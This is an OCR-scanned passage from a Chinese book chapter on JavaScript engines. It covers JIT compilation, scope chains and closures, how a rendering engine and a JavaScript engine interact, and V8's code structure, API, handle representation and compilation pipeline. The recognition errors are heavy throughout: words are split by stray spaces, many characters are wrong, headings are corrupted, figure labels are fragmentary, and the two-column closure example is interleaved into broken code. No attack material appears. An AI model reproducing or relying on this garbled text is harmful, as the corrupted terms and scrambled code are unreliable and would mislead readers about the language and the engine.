有 方法 解决 这 一 问题 吗 ? 答案 是 肯定 的 。 当 然 要 达到 跟 C++ 和 Java 
一 样 的 效率 很 难 ， 但 是 已 经 有 很 多 方法 能 够 逐步 接近 了 ， 笔 者 在 介绍 
JavaScriptCore 引 擎 和 V8 引擎 的 时 候 再 论述 它们 ， 因 为 这 些 新 技术 的 确 
带 来 了 性 能 上 的 巨大 进步 。 











推动 JavaScript 运 行 速度 提高 的 另 一 大 利器 是 JIT (Just-In-Time) 4% 
术 ， 它 不 是 一 项 全 新 的 技术 ， 其 作用 是 解决 解释 性 语言 的 性 能 问题 ， 主 
要 思想 是 当 解 释 器 将 源 代码 解释 成 内 部 表示 的 时 候 Java o T ite — 
个 典型 例子 ) ，JavaScript 的 执行 环境 不 仅 是 解释 这 些 内 部 表示 ， 而 且 将 
其 中 一 些 字 节 码 ( 主 要 是 使 用 率 高 的 部 分 ) 转 成 本 地 代码 (汇编 代 
A) ， 这 样 可 以 被 CPU 直接 执行 ， 而 不 是 解释 执行 ， 从 而 极 大 地 提高 性 
能 。JIT 技 术 被 广泛 地 使 用 在 各 种 语言 的 执行 环境 中 ， 例 如 Java 虚 拟 机 ， 
经 过 长 时 间 的 演进 之 后 ， 目 前 使 用 在 JavaScript 的 众多 引擎 中 ， 例 如 
JavaScriptCore、V8、SpiderMonkey 等 中 。 











下 面 要 说 的 是 JavaScript 的 作用 域 链 和 闭 包 等 概念 ， 它 们 非常 重要 ， 
这 两 个 概念 带 来 了 编程 上 的 便 易 性 和 模块 化 ， 本 市 主要 讲述 它们 的 原 
理 ， 后 面 会 介绍 它们 是 如 何 被 实现 的 。 





首先 介绍 一 个 学 术 解 释 ,“ 闭 包 是 一 个 拥有 许多 变量 和 绑 定 了 这 些 
变量 的 环境 的 表达 式 〈 通 常 是 一 个 函数 ) ， 因 而 这 些 变量 也 是 该 表达 式 
的 一 部 分 ”。 通 俗 来 说 ， 就 是 当 执 行 到 一 条 语句 的 时 候 ， 哪 些 对 象 (或 
者 其 他 环境 因素 ) 能够 被 使 用 。JavaScript 使 用 作用 域 链 来 实现 闭 包 ， 作 
用 域 链 由 执行 环境 维护 ，JavaScript 中 所 有 的 标识 符 都 是 通过 作用 域 链 来 
查找 值 的 。 用 示例 来 解释 它们 比较 清楚 ， 示 例 代 码 9-4 是 两 段 功 能 类 似 
但 是 影响 却 不 同 的 常见 JavaScript 人 代码， 下面 结 合 闭 包 和 作用 域 链 来 分 析 





ell. 


假设 这 一 段 代 码 被 保存 在 一 个 单独 的 JS 文件 中 ， 当 某 个 包含 该 JS 文 
件 的 网 页 运行 在 浏览 器 中 的 时 候 ，JavaScript 已 经 预先 创建 好 一 个 全 局 的 
域 ， 该 域 会 包含 一 个 全 局 的 上 下 文 ， 该 上 下 文 可 能 包含 window、 
navigator (WRF) 等 内 置 的 对 象 ， 同 时 也 包含 当前 执行 位 置 的 一 些 信 
轧 。 例 如 代码 9-4 中 的 第 一 行 ， 当 执行 到 该 行 时 ， 融 定义 了 “me” 并 赋值 
1， 上 下 文 就 包含 了 一 个 “me” 变 量 ， 接 下 来 的 语句 就 能 够 使 用 该 变量 。 
图 9-3 中 的 全 局 上 下 文 就 包含 这 些 信 息 。 














图 9-3 示例 代码 9-4 中 左 侧 所 涉及 的 作用 域 链 


示例 代码 9-4 使 用 闭 包 技术 的 JavaScript 函 数 


var me = 1; var me = 1; 
function add(x) { (function (x) { 

var me = 2; var me = 2; 
function internal() { function internal() { 
return me + x; return me + x; 

} } 

return internal() + 3; return internal() + 3; 
} HA); 

add(1); 


当 执 行 到 左边 第 二 行 的 时 候 ， 函 数 “add” 也 被 加 入 全 局 上 下 文中 
(事实 上 ， 这 有 两 个 阶段 ， 在 之 前 的 阶段 ，“add” 已 经 被 加 入 上 下 文 


中 ， 所 以 在 “add” 函 数 声明 之 前 使 用 它 也 是 可 以 的 ) ， 所 有 的 代码 都 能 
够 使 用 它 。 如 末 不 巧 在 它 之 前 也 有 同样 名 为 “<add” 的 函数 ， 那 么 之 前 的 
函数 会 被 履 盖 。 所 以 ， 假 如 我 们 并 不 希望 <add” 被 其 他 地 方 使 用 ， 而 且 
不 要 禾 盖 之 前 的 函数 ， 因 为 这 样 会 污染 全 局 空间 ， 造 成 不 必要 的 抹 烦 。 
一 个 正确 的 做 法 是 示例 代码 9-4 中 右 侧 的 使 用 方法 ， 稍 后 做 介绍 。 





在 “add” 函 数 中 ， 执 行 环 境 同 样 会 建立 一 个 该 函数 的 上 下 文 ， 包含 
该 函数 中 的 心理 ， 例 如 第 三 行 ， 叉 是 一 个 变量 “me”。 该 上 下 文 同时 会 指 
问 全 局 上 下 文 。 继 续 看 代码 ， 到 函数 “internal" 内 部 ， 同 样 如 此 ， 执 行 环 
境 也 会 为 它 建立 一 个 上 下 文 ， 如 图 9-3 中 右 下 角 的 上 下 文 ， 指 向 它 的 父 
上 上 下文， 这 样 其 实 就 形成 了 一 个 作用 域 链 。 在 “internal” 函 数 内 部 ， 它 使 
用 了 变量 “me”。 首 先 ， 执 行 环 境 检查 当前 的 上 下 文 ， 但 找 有 无 变 
量 “me”， 当 然 在 本 例 中 无 法 找到 ， 于 是 它 会 接着 在 它 的 父 上 下 文中 查 
找 ， 显 然 “add” 函 数 的 上 下 文中 包含 “me”， 所 以 不 需要 继续 癌 上 和 查找。 
如 果 “add” 函 数 上 下 文中 没有 包含 该 变量 ， 那 么 执行 环境 会 不 俘 癌 上 得 
找 ， 和 直到 找 授 全 局 上 下 文 为 止 。 

















下 面 解释 示例 代码 9-4 石 侧 函 数 的 好 处 。 当 包含 一 个 .js 文件 的 时 
候 ， 它 的 全 局 函数 在 其 他 .js 文件 中 也 可 见 ， 这 直接 导致 名 字 冲 突 和 模块 
化 问题 。 因 为 没有 C++ 的 名 空间 机 制 和 Java 的 包机 制 ， 每 个 js 文件 中 的 
函数 命名 可 能 相同 ， 这 直接 导致 名 冲突 。 当 开发 者 只 是 希望 该 “add” 函 
数 在 内 部 使 用 的 时 候 ， 那 么 他 可 以 像 右 侧 一 样 使 用 一 个 匿名 函数 ， 然 后 
直接 调用 它 ， 这 样 这 个 函数 就 不 会 污染 全 局 空间 。 同 时 ， 匿 名 函数 内 部 
也 使 用 了 一 个 内 部 函数 “internal”。 根 据 前 面 介绍 的 作用 域 链 技 
术 ，“internal” 函 数 只 在 该 匿名 函数 内 部 有 效 ， 完 全 不 会 影响 其 他 代码 ， 
这 里 使 用 的 就 是 财 包 技术 。 








9.1.2 JavaScript 5| Z£ 


什么 是 JavaScript 引 擎 ?简单 来 讲 ， 束 是 能 够 将 JavaScript 代 码 处 理 
并 执行 的 运行 环境 。 要 解释 这 一 概念 ， 需 要 了 解 一 些 编译 原理 的 基础 概 
念 和 现代 语言 需要 的 一 些 新 编译 技术 。 


首先 来 看 C/C++ 语言 。 由 前 面 描 述 可 知 ， 处 理 该 语言 通常 的 做 法 实 
际 上 就 是 使 用 编译 器 直接 将 它们 编译 成 本 地 代码 ， 这 一 切 都 是 由 开发 人 
员 在 代码 编写 完成 之 后 实施 的 ， 如 图 9-4 所 示 。 用 户 只 是 使 用 这 些 编译 
好 的 本 地 代码 ， 被 系统 的 加 载 器 加 载 执 行 ， 这 些 本 地 代码 由 操作 系统 调 
度 CPU 直 接 执行 ， 无 有 顷 额 外 处 理 。 
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图 9-4 C++ 编译 器 生成 本 地 代码 的 过 程 


其 次 ， 来 看 看 Python 等 脚本 语言 。 处 理 脚本 语言 通常 的 做 法 是 开发 
者 将 写 好 的 代码 直接 交 给 用 户 ， 用 户 使 用 脚本 的 解释 需 将 脚本 文件 加 载 
然后 解释 执行 ， 如 图 9-5 所 示 。 当 然 ， 现 在 Python 也 可 以 文 持 将 脚本 编译 
生成 中 间 表 示 。 但 是 ， 通 党 情况 下 ， 脚 本 语言 不 需要 开 及 人 员 去 编译 脚 
本 代码 ， 这 主要 是 因为 脚本 语言 对 使 用 场景 和 性 能 的 要 求 与 其 他 类 型 的 
语言 不 同 。 


抽象 语法 树 解释 器 解释 和 执行 





图 9-5 解释 器 解释 执行 过 程 


然后 来 看 看 Java 语 言 。 其 做 法 是 明显 的 两 个 阶段 ， 首 先是 像 C++ 语 
言 一 样 的 编译 阶段 ， 但 是 ， 同 C++ 编 译 絮 生成 的 本 地 代码 结果 不 同 ， 


Java 代 码 经 过 编译 器 编译 之 后 生成 的 是 字 节 人 码 ， 字 节 码 是 路 平台 的 一 种 
中 间 表 示 ， 不 同 于 本 地 代码 。 该 字 市 码 与 平台 无 天 ， 能 够 在 不 同 操 作 系 
统 上 运行 。 在 运行 字 节 人 码 阶段 ，Java 的 运行 环境 是 Java 虚 拟 机 加 载 字 节 
码 ， 使 用 解释 器 执行 这 些 字 节 码 。 如 果 仅 是 这 样 ， 那 Java 的 性 能 怠 比 

C++ 差 太 多 了 。 现 代 Java 虚 拟 机 一 般 都 引入 了 JIT 技 术 ， 也 就 是 前 面 说 的 
将 字 贡 码 转 变 成 本 地 代码 来 提高 执行 效率 。 图 9-6 摘 述 这 两 个 阶段 ， 第 
一 阶段 对 时 间 要 求 不 严格 ， 第 二 阶段 则 对 每 个 步骤 所 花费 的 时 间 非 常 敏 
感 ， 时 间 越 短 越 好 。 














Java 虚拟 机 


虚拟 机 垃圾 回收 等 ) 本 地 代码 





图 9-6 Java 代 码 的 编译 和 执行 过 程 





最 后 回 到 JavaScript 语 言 上 来 。 前 面 已 经 说 了 它 是 一 种 解释 性 脚本 语 
言 。 但 是 ， 众 多 工程 师 不 断 投 入 资源 来 提高 它 的 速度 使 得 它 能 够 使 用 
Java 虚 拟 机 和 C++ 编译 器 中 的 众多 技术 来 改进 工作 方式 。 早 期 也 是 由 解 
释 器 来 解释 即 可 ， 就 是 将 源 代 人 码 转 变 成 抽象 语法 树 ， 然 后 在 抽象 语法 树 
上 解释 执行 。 随 着 将 Java 虚 拟 机 的 JIT 技 术 引 入 ， 现 在 的 做 法 是 将 抽象 语 
法 树 转 成 中 间 表 示 (也 就 是 字 节 人 码 ) ， 然 后 通过 JIT 技 术 转 成 本 地 代 
人 码 ， 这 能 够 大 大 地 提高 执行 效率 。 当 然 也 有 些 直接 从 抽象 语法 树 生成 本 
地 代码 的 JIT 技 术 ， 例 如 V8。 这 是 因为 JavaScript 跟 Java 还 是 有 以 下 一 些 
区 别 的 。 








其 一 是 类 型 。JavaScript 是 无 类 型 的 语言 ， 其 对 于 对 象 的 表示 和 属性 
的 访问 比 Java 存 在 更 大 的 性 能 损失 。 不 过 现在 已 经 出 现 了 一 些 新 的 技 
术 ， 参 考 C++ 或 者 Java 的 类 型 系统 的 优点 ， 构 建 隐 式 的 类 型 信息 ， 这 些 
后 面 将 逐一 介绍 。 





其 二 ，Java 语 言 通常 是 将 源 代码 编译 成 字 节 人 码 ， 这 同 执 行 阶段 是 分 
开 的 ， 也 就 是 从 源 代 人 码 到 抽象 语法 树 再 到 字 节 人 码 这 段 时 间 的 长 短 是 无 所 
谓 的 (或 者 说 不 是 特别 重要 ) ， 所 以 尽 可 能 地 生成 高 效 的 字 节 码 即 可 。 
而 对 于 JavaScript 而 言 ， 这 些 都 是 在 网 页 和 JavaScript 文 件 下 载 后 同 执行 
阶段 一 起 在 网 页 的 加 载 和 泻 染 过 程 中 来 实施 的 ， 所 以 对 它们 的 处 理 时 间 
也 有 者 很 高 的 要 求 。 








图 9-7 描 述 了 JavaScript 代 码 执行 的 过 程 ， 这 一 过 程 中 因为 不 同 技 术 
的 引入 ， 寻 致 其 步骤 非常 复杂 ， 而 且 因为 都 是 在 代码 运行 过 程 中 来 处 理 
这 些 步 又， 所 以 每 个 阶段 的 时 间 越 少 越 好 ， 而 且 每 引入 一 个 阶段 都 是 额 
外 的 时 间 开 销 ， 可 能 最 后 的 本 地 代码 执行 效率 很 高 ， 但 是 如 果 之 前 的 步 
又 耗费 太 多 时 间 ， 最 后 的 执行 结果 可 能 并 不 会 好 。 所 以 不 同 的 JavaScript 
引擎 选择 了 不 同 的 路 径 ， 这 里 移 不 仔细 介绍 ， 后 面 再 描述 它们 。 











JavaScript 引擎 抽象 语法 树 


pig 


解释 器 


垃圾 回收 器 ， 分 析 工 具 本 地 代码 


图 9-7 JavaScript 代 码 的 编译 和 执行 过 程 





所 以 一 个 JavaScript 引 擎 不 外 乎 包括 以 下 几 个 部 分 。 


。 Mae ”。 主 要 工作 是 将 源 代码 编译 成 抽象 语法 树 ， 在 茶 些 引擎 中 
还 包含 将 抽象 语法 树 转 换 成 字 节 人 码 。 

。 解释 顷 ”。 在 东 些 引擎 中 ， 解 释 器 主要 是 接收 字 市 码 ， 解 释 执 行 这 
个 字 市 码 ， 同 时 也 依赖 垃圾 回收 机 制 等 。 

。 JITLA 。 一 个 能 够 能 够 JIT 的 工具 ， 将 字 节 人 码 或 者 抽象 语法 树 转换 
成 本 地 代码 ， 当 然 它 也 需要 依赖 牢记 

。 垃圾 回收 器 和 分 析 工 具 (Profiler) 。 它 们 负责 垃圾 回收 和 收集 引 
擎 中 的 信息 ， 帮 助 改善 引擎 的 性 能 和 功效 。 


9.1.3 JavaScript5| ME 45] & 


前 面 介绍 了 网 页 的 工作 过 程 需要 使 用 两 个 引擎 ， 也 就 是 泻 染 引擎 和 
JavaScript 引 擎 。 从 模块 上 看 ， 它 们 是 两 个 独立 的 模块 ， 分 别 负责 不 同 的 
事情 : JavaScript 引 擎 负 贡 执行 JavaScript 代 码 ， 而 演 染 引擎 负责 演 染 网 
页 。JavaScript 引 擎 提供 调用 接口 给 演 染 引擎 ， 以 便 让 泻 染 引擎 使 用 
JavaScript 引 擎 来 处 理 JavaScript 代 码 并 获取 结果 。 这 当然 不 是 全 部 ， 事 
情 也 不 是 这 么 简单 ，JavaScript 引 擎 需要 能 够 访问 泻 染 引擎 构建 的 DOM 
树 ， 所 以 JavaScript 引 擎 通常 需要 提供 桥接 的 接口 ， 而 泻 染 引 苟 则 根据 桥 
接 接口 来 提供 让 JavaScript 访 问 DOM 的 能 力 。 在 现在 众多 的 HTML5 能 
中 ， 很 多 都 是 通过 JavaScript 接 口 提 供给 开发 者 的 ， 所 以 这 部 分 同样 需要 
根据 桥接 接口 来 实现 具体 类 ， 以 便 让 JavaScript 引 擎 能 够 回调 演 染 引擎 的 
具体 实现 。 图 9-8 描 述 了 两 种 引擎 之 间 的 相互 调用 关系 。 











基于 桥接 接口 的 实现 (DOM, HTML5 功能 ) 桥接 接口 





图 9-8 渔 染 引擎 和 JavaScript 引 擎 的 关系 


在 WebKit 中 ， 两 种 引擎 通过 桥接 接口 来 访问 DOM 结 构 ， 这 对 性 能 
来 说 是 一 个 重大 的 损失 因为 每 次 JavaScript 代 码 访 问 DOM 都 需要 通过 复 
杂 和 低 效 的 桥接 接口 来 完成 。 鉴 于 访问 DOM 树 的 普 壳 性， 这 是 一 个 种 
见 的 问题 。 





9.2 V8 引 擎 


9.2.1 基础 


V8 是 一 个 开源 项 目 ， 也 是 一 个 JavaScript 引 擎 的 实现 。 它 最 开始 是 
由 一 些 语言 方面 的 专家 设计 出 来 的 ， 后 被 Google 收 购 ， 成 为 了 JavaScript 
引 敬 和 众多 相关 技术 的 引领 者 。 其 目的 很 简单 ， 束 是 为 了 提高 性 能 。 
为 在 当时 之 前 的 JavaScriptCore 引 擎 和 其 他 的 JavaScript 引 擎 的 性 能 都 不 
能 令 人 非常 满意 。 为 了 提高 JavaScript 代 码 的 执行 效率 从 而 获得 更 好 的 网 
页 浏览 效果 ， 它 甚至 采用 直接 将 JavaScript 编 译 成 本 地 代码 的 方式 。 














V8 文 持 众 多 的 操作 系统 ， 包 括 但 是 不 限于 Windows、Linux、 
Android. Mac OS X 等 。 同 时 它 也 能 够 支持 众多 的 硬件 架构 ， 例 如 
IA32、X64、ARM、MIPS 等 。 这 么 看 来 ， 它 将 主流 软 人 硬件 平台 一 网 打 
尽 ， 由 于 它 是 一 个 开源 项 目 ， 开 发 者 可 以 自由 使 用 它 的 强大 能 力 ， 一 个 
例子 就 是 目前 炙手可热 的 NodeJs 项 目 ， 它 就 是 基于 V8 项 目 研发 的 。 开 源 
的 好 处 就 是 大 家 可 以 很 方便 地 学 习 、 贡 献 和 使 用 ， 就 让 我 们 首先 从 它 的 
代码 结构 开始 。 











9.2.1.1 ”代码 结构 


V8 的 代码 量 超 过 50 万 行 ， 应 该 也 算 一 个 中 型 的 项 目 ， 但 是 它 的 代 
码 结构 其 实 非常 的 简单 ， 如 图 9-9 所 示 。 对 于 想 了 解 V8 的 读者 来 说 ， 建 
议 将 目光 主要 放 在 两 个 主要 目录 “include” 和 "src" 中 ， 它 们 一 个 是 包含 了 


V8 对 外 的 接口 ， 一 个 是 包含 了 V8 内 部 的 实现 ， 其 他 都 是 一 些 辅助 的 工 
具 和 与 测试 相关 的 设施 。 图 9-9 中 只 列 出 了 一 些 主要 目录 和 文件 ， 以 及 
它们 的 介绍 ， 对 于 其 他 内 容 ， 读 者 可 以 自行 参阅 源 代码 加 以 理解 。 


V8 





include V8 接口 


v8.h 


v8-debug.h 


v8-profiler.h 


v8-testing.h 


V8 内 部 实现 


es 111 





该 文件 用 来 包含 V8 的 接口 


V8 调试 相关 的 接口 


V8 信息 收集 器 的 接口 


V8 测试 相关 的 接口 


ARM 后 端 ， 抽 象 语法 树 转 成 arm 指令 的 相关 代码 





ia32 IA32 后 端 ， 抽 象 语法 树 转 成 IJA32 指令 的 相关 代码 
x64 X64 后 端 ， 抽 象 语法 树 转 成 X64 指令 的 相关 代码 
ast.h/ee 抽象 语法 树 的 实现 
d8.h/ce V8 的 一 个 调试 程序 
full-codegen.h/ce 从 抽象 语法 树 生 成 本 地 代码 
heap.h/ce V8 使 用 的 堆 实 现 
extensions V8 扩展 机 制 
benchmarks JavaScript 性 能 测试 用 例 





build 编译 V8 项 目 相 关 脚 本 


图 9-9 V8 项 目的 代码 结构 


9.2.1.2 ”应 用 程序 编程 接口 (API) 


要 了 解 V8 的 内 部 工作 机 制 或 者 说 原理 ， 有 必要 先 了 解 V8 所 提供 的 





应 用 编程 接口 ， 它 们 在 V8 代码 目录 的 include/V8.h 中 ， 通 过 接口 中 的 某 
些 类 可 以 一 笑 V8 的 工作 方式 ， 其 中 一 些 主要 的 类 如 下 。 


各 种 各 样 的 基础 类 : 这 里 面包 含 对 象 引 用 类 (如 
WeakReferenceCallbacks) 、 基 本 数据 类 型 类 (如 Int32、 integers 
Number, String, StringObject) 和 JavaScript 对 象 CObject) 。 这 些 
都 是 基础 抽象 类 ， 没 有 包含 实际 的 实现 ， 真 正 的 实现 在 “sre” 目 录 中 
的 “objects.h/cc” 中 。 
Value : 所 有 JavaScript 数 据 和 对 象 的 基 类 ， 如 上 面 的 Integer、 
Number、String 等 。 
ee : 以 上 数据 类 型 的 对 象 在 V8 中 有 不 同 的 生命 周 
， 需 要 使 用 句柄 来 摘 述 它们 的 生命 周期 ， 以 及 垃圾 回收 器 如 何 使 
o 理 这 些 数据 ， 句 柄 类 包括 Local、Persistent 和 Handle。 
Isolate : 这 个 类 表示 的 是 一 个 V8 引擎 实例 ， 包 括 相 关 状 态 信 息 、 
堆 等 ， 总 之 这 是 一 个 能 够 执行 JavaScript 代 码 的 类 ， 它 不 能 被 多 个 线 
程 同时 访问 ， 所 以 ， 如 果 非 要 这 么 做 的 话 ， 需 要 使 用 锁 。V8 使 用 
者 可 以 使 用 创建 多 个 该 类 的 实例 ， 但 是 每 个 实例 之 间 就 像 这 个 类 的 
名 字 一 样 ， 都 是 孤立 的 。 
Context : 执行 上 下 文 ， 包含 内 置 的 对 象 和 方法 ， 如 print 方 法 等 ， 
还 包括 JavaScript 内 置 的 库 ， 如 math 等 。 
Extension : V8 的 扩展 类 。 用 于 扩展 JavaScript 接 口 ，V8 使 用 者 基于 
该 类 来 实现 相应 接口 ， 被 V8 引擎 调用 。 
Handle : 句柄 类 ， 主 要 用 来 管理 基础 数据 和 对 象 ， 以 便 被 垃圾 回 
收 器 操作 。 主 要 有 两 个 类 型 ， 一 个 是 Local 〈 就 是 Local 类 ， 继 承 自 
Handle 类 ) ， 男 一 个 是 Persistent (Persistent 类 ， 继 承 ee 


K) 。 前 者 表示 本 地 栈 上 的 数据 ， 所 以 量 级 比较 轻 ， 后 者 表示 函数 





间 的 数据 和 对 象 访问 。 

Script: 用 于 表示 被 编译 过 的 JavaScript 源 代码 ，V8 的 内 部 表示 。 

HandleScope : 包含 一 组 Handle 的 容器 类 ， 帮 助 一 次 性 删除 这 些 

Handle， 避 免 重 复 调 用 。 

FunctionTemplate : 绑 定 C++ 函数 到 JavaScript， 函 数 模 板 的 一 个 例 

子 就 是 将 JavaScript 接 口 的 C++ 实现 绑 定 到 JavaScript 引 擎 。 

e ObjectTemplate : 绑 定 C++ 对 象 到 JavaScript， 对 象 模板 的 典型 应 用 
是 Chromium 中 将 DOM 节 点 通过 该 模板 包装 成 JavaScript 对 象 。 


读者 看 到 这 里 ， 可 能 对 一 些 类 的 描述 不 是 很 理解 ， 这 是 因为 缺少 对 
V8 中 一 些 基 本 概念 的 认识 ， 和 希望 后 面 的 解释 能 够 帮助 到 你 。 下 面 通过 
一 个 例子 来 了 解 V8 使 用 者 是 如 何 调用 这 些 接口 以 使 用 V8 引 擎 来 执行 
JavaScript 代 码 的 。 


9.2.1.3 ”接口 使 用 示例 





通过 调用 这 些 编 程 接 口 和 对 应 的 内 存 管理 方式 ， 希 望 读者 能 够 初步 
理解 V8 的 工作 方式 。 图 9-10 是 来 自 V8 项 目 官方 网 站 上 的 图 片 ， 主 要 描 
述 使 用 V8 的 基本 流程 和 这 些 接口 对 应 的 内 存 管理 方式 。 











Managed by the garbage collector 





Handle<String> source obj = String::New(argv[1]); > fe) script_obj 


Handle<Script> script obj = Script: :Compile(source_ob}) ; — Be | 
> result 
Handle<Value> local_result = script_obj->Run() ; 3 -| Be 











图 9-10 调用 V8 编 程 接口 的 例子 和 对 应 的 内 存 管 理 方式 


图 中 没有 描述 如 何 创建 一 个 Isolate 对 象 ， 此 对 象 可 以 通过 
Isolate::GetCurrent0 来 获取 ， 它 会 创建 一 个 V8 引 擎 示例 ， 后 面 的 操作 都 
是 在 它 提供 的 环境 中 来 进行 的 。 


图 中 第 一 条 语句 表示 建立 一 个 域 ， 前 面 也 介绍 了 ， 用 于 包含 一 组 
Handle 对 象 ， 便 于 释放 它们 。 


图 中 第 二 条 语句 根据 Isolate 对 象 来 获取 一 个 Context 对 象 ， 使 用 
Handle 来 管理 。Handle 对 象 本 身 存 放 在 栈 上 ， 而 实际 的 Context 对 象 保存 
在 堆 中 。 


图 中 第 三 条 语句 根据 两 个 对 象 Isolate 和 Context 来 创建 一 个 函数 间 使 
用 的 对 象 ， 所 以 使 用 Persistent 类 来 管理 ， 这 里 展示 的 是 它 的 用 处 和 含 
义 ， 在 本 例 中 不 是 必需 的 。 读 者 可 以 看 到 它 的 句柄 和 数据 都 单独 存储 在 
另外 的 地 方 。 





图 中 第 四 条 表示 为 Context 对 象 创建 一 个 基于 栈 的 域 ， 下 面 的 执行 步 
又 都 是 在 该 域 中 对 应 的 上 下 文中 来 进行 的 。 








图 中 第 五 条 是 从 命令 行 参数 读 入 JavaScript 代 码 ， 也 就 是 一 段 字 符 
Po 


图 中 第 六 条 将 代码 字符 串 编译 成 V8 的 内 部 表示 ， 并 保存 成 一 个 
Script 对 象 。 





图 中 第 七 条 是 执行 编译 后 的 内 部 表示 ， 然 后 获得 生成 的 结果 。 


一 个 上 典型 的 使 用 V8 编程 接口 的 例子 就 是 V8 项 目 提供 的 D8 工具 。 它 


通过 V8 的 接口 来 实现 一 个 可 执行 程序 ， 因 为 V8 本 里 只 是 一 个 C++ 库 而 
已 。 该 可 执行 程序 能 够 帮助 V8 的 使 用 者 做 各 种 基础 测试 和 分 析 ， 能 够 
读 入 JavaScript 文 件 并 输出 结果 ， 以 及 提供 调试 JavaScript 的 基础 能 





9.2.22 工作 原理 
9.2.2.1 数据 表示 


大 家 知道 在 JavaScript 滞 言 中 ， 只 有 基本 数据 类 型 Boolean、 
Number、String、Null 和 Undefined， 其 他 数据 都 是 对 象 ，V8 使 用 一 种 特 
殊 的 方式 来 表示 它们 。 








在 V8 中 ， 数 据 的 表示 分 成 两 个 部 分 ， 第 一 部 分 是 数据 的 实际 内 
容 ， 它 们 是 变 长 的 ， 而 且 内 容 的 类 型 也 不 一 样 ， 如 String、 对 象 等 。 第 
二 个 部 分 是 数据 的 句柄 ， 句 柄 的 大 小 是 固定 的 ， 句 顶 中 包含 指向 数 据 的 
指针 。 为 什么 会 是 这 种 设计 呢 ? 主 要 是 因为 V8 需要 进行 垃圾 回收 ， 并 
需要 移动 这 些 数据 内 容 ， 如 果 和 下 接 使 用 指针 的 话 束 会 出 问题 或 者 需要 比 
较 大 的 开销 ， 使 用 句柄 的 话 就 不 存在 这 些 问 题 ， 只 需要 将 句柄 中 的 指针 
修改 即 可 ， 使 用 者 使 用 的 还 是 句柄 ， 它 本 映 没有 发 生变 化 。 








除了 极 少 数 的 数据 例如 整形 数据 ， 其 他 的 内 容 部 是 从 堆 中 申请 内 存 
来 存储 它们 ， 这 是 因为 Handle 本 号 能 够 存储 整形 ， 同 时 也 为 了 快速 访 
间 。 而 对 于 其 他 类 型 ， 受 限于 Handle 的 大 小 和 变 长 等 原因 ， 都 存储 在 堆 
中 。 


下 面 我 们 来 看 一 看 句柄 是 如 何 区 分 这 些 类 型 的 。 图 9-11 摘 述 了 句柄 
在 32 位 和 64 位 机 器 上 的 表示 方式 。 





图 9-11 Handle 类 的 定义 ， 小 整数 和 其 他 类 型 表示 








由 上 面 Handle 的 定义 可 以 看 出 ， 一 个 Handle 对 象 的 大 小 是 4 字 节 
(32 位 机 器 〉 或 者 8 字 节 (64 位 机 器 〉， 这 一 点 不 同 于 JavaScriptCore 引 
擎 ， 后 者 是 使 用 8 个 字 节 来 表示 数据 的 句柄 。 整 数 〈 小 整数 ， 因 为 只 有 
31 位 能 表示 ) 直接 从 value_ 中 获取 值 ， 而 无 顷 从 堆 中 分 配 ， 然 后 使 用 一 
个 指针 指 问 它 ， 这 可 以 减少 内 存 的 使 用 并 增加 数据 的 访问 速度 。 而 对 于 
其 他 类 型 ， 则 使 用 一 个 指针 来 指 问 它 在 堆 中 的 数据 。 











因为 堆 中 存放 的 对 象 都 是 4 字 节 对 齐 的 ， 所 以 指向 它们 的 指针 的 最 
后 两 位 都 是 00， 所 以 这 两 位 其 实 是 不 需要 的 。 在 V8 中 ， 它 们 被 用 来 表 
示 句 柄 中 包含 数据 的 类 型 。 





JavaScript 对 象 的 实现 在 V8 中 包含 3 个 成 员 ， 正 如 图 9-12 中 所 描述 的 
那样 ， 第 一 个 是 隐藏 类 的 指针 ， 这 是 V8 为 JavaScript 对 象 创建 的 隐藏 
类 。 第 二 个 指 问 这 个 对 象 包含 的 属性 值 。 第 三 个 指 问 这 个 对 象 包含 的 元 
Fo 


n= 隐藏 类 指针 
JavaScript 对 象 包含 的 三 个 
指针 
属性 值 表 指针 


元 素 表 指 针 





图 9-12 JavaScript 对 象 内 部 表示 


9.2.2.2 V8 工作 过 程 


根据 前 面 的 介绍 ， 我 们 对 于 V8 工作 的 整个 过 程 应 该 有 了 一 个 大 概 
的 理解 ， 该 过 程 包括 两 个 阶段 ， 第 一 是 编译 ， 第 二 是 运行 。 只 不 过 鉴于 
JavaScript 语 言 的 工作 方式 ， 它 们 都 是 在 用 户 使 用 它们 的 时 候 发 生 。 同 
时 ，V8 中 还 有 一 个 非常 重要 的 特点 就 是 延 人 运 (deferred) 思想 ， 这 使 得 
很 多 JavaScript 代 码 的 编译 直到 运行 的 时 候 被 调用 到 才 会 有 发生， 这 样 可 以 
减少 时 间 开 销 。 








首先 来 看 编译 阶段 。 读 者 应 该 了 解 JavaScript 引 擎 是 如 何 将 源 代 码 解 
释 执行 或 者 转化 为 本 地 代码 的 。 同 JavaScriptCore 引 擎 比较 ，V8 引 擎 有 
自己 特殊 的 地 方 ， 如 图 9-13 所 示 为 从 源 代码 到 最 后 本 地 代码 的 过 程 。 


抽象 语法 树 


解析 器 JIT 全 代码 生成 器 





图 9-13 V8 引擎 处 理 源 代码 到 本 地 代码 的 过 程 


从 图 中 可 以 看 出 ， 首 先 它 也 是 将 源 代码 转变 成 抽象 语法 树 的 ， 这 一 
点 同 JavaScriptCore 引 擎 一 样 ， 之 后 两 个 引擎 开始 分 道 扬 镰 。 不 同 于 
JavaScriptCore 引 擎 ，V8 引 擎 并 不 将 抽象 语法 树 转 变 成 字 节 码 或 者 其 他 
中 间 表 示 ， 而 是 通过 JIT 编 译 器 的 全 代码 生成 颖 (full code generator) 从 
抽象 语法 树 直 接生 成 本 地 代码 ， 所 以 没有 像 Java 一 样 的 虚拟 机 或 者 字 闻 
码 解释 器 。 这 样 做 的 原因 ， 主 要 是 因为 减少 抽象 语法 树 到 字 贡 但 的 转换 
时 间 ， 这 一 切 都 在 网 页 加 载 时 完成 ， 虽 然 可 以 提高 优化 的 可 能 ， 但 是 这 
些 分 析 可 能 带 来 巨大 的 时 间 当 费 。 当 然 ， 缺 点 也 很 明显 ， 至 少 包 括 两 

















点 : 第 一 是 在 某 些 JavaScript 使 用 场景 其 实 使 用 解释 器 更 为 合适 ， 因 为 没 
有 必要 生成 本 地 代码 ; 第 二 是 没有 中 间 表 示 会 因为 缺 
少 一 个 中 间 表 示 层 。 至 于 有 些 文章 说 的 丧失 了 移植 性 ， 个 人 觉得 对 于 

JavaScript 这 种 语言 来 说 不 是 问题 ， 因 为 并 没有 将 JavaScript 代 码 先 编译 
然后 再 运行 的 明显 两 个 阶段 分 开 的 用 法 ， 例 如 像 Java 语 言 那 样 。 但 是 ， 

